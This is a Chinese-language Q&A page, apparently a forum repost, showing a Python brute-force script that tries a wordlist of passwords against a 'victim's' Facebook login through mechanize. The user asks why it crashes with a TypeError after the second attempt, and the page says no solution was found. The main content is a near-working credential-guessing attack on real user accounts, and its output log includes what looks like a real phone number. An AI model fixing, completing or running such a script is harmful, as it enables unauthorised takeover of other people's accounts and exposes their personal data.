TypeError:“ NoneType”对象不支持Python中的项目分配

问题描述

我正在用python 3.8编写一个简单的facebook bruteforce脚本 代码

from subprocess import call
import os
import sys
try:
   import mechanize
except ModuleNotFoundError:
   print("[-] Mechanize was not found")
   print("[+] Installing mechanize")
   call("pip install mechanize")
   try:
      import mechanize
      print("[+] Mechanize installed sucessfully")
      print("Please re-run the script")
      sys.exit()
   except ModuleNotFoundError:
      print("[-] Mechanize was not installed")
      print("Exiting...")
      sys.exit()
def main():
   browser = mechanize.browser();
   url = "https://www.facebook.com/";
   print("Enter victim's Email or Phone number : ",end="");
   victim = input() 
   try:
      victim_old = victim
      victim = int(victim)
      victim = victim_old
      print(f"Phone Number => {victim}")
   except ValueError:
      if victim.endswith("@gmail.com") or victim.endswith("@hotmail.com") or victim.endswith("@outlook.com") or \
           victim.endswith("@yahoo.com"):
           print(f"Email => {victim}")
      else:
           print("[-] Cannot recognized as email or phone number")
           print("Exiting.......")
           sys.exit()
   print("Enter your wordlist(default=pass.txt) : ",end="")
   wordlist=input() or "pass.txt"
   if os.path.isfile(wordlist):
      print("[+] Wordlist exists")
      wordlist_info = os.stat(wordlist)
      if not wordlist_info.st_size==0:
         #facebook hacking code goes here
         br = mechanize.browser()
         br.set_handle_robots(False)
         br.open("https://www.facebook.com/")
         br.select_form(nr=0)
         with open(wordlist) as w:
            password_list = w.readlines()
            for fb_pass in password_list:
               print(f"Trying -----> {fb_pass}")
               br.form['email']=str(victim)
               br.form['pass']=fb_pass.strip()
               br.submit()
               if(br.title()=="Facebook"):
                  print(f"Password found ------> {fb_pass}")
                  break
      else:
         print("[-] Wordlist is empty")
         print("Exiting..........")
         sys.exit()
   else:
      print("[-] Wordlist does not exists")
      print("Exiting..........")
      sys.exit()
if __name__=="__main__":
   main()

这是我的代码 我的字词清单包含以下文字

azan
welcome
yahoo
hola

当我运行脚本时,它给我以下错误

 Enter victim's Email or Phone number : <victim number>
Phone Number => 03037211113
Enter your wordlist(default=pass.txt) : test.txt
[+] Wordlist exists
Trying -----> azan

Trying -----> welcome

Traceback (most recent call last):
  File "fb.py",line 67,in <module>
    main()
  File "fb.py",line 52,in main
    br.form['email']=str(victim)
TypeError: 'nonetype' object does not support item assignment

我找不到错误原因 也有空行黑白每个尝试如何删除此 我已经尝试了很多次,但是没有找到错误 请有人帮我

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)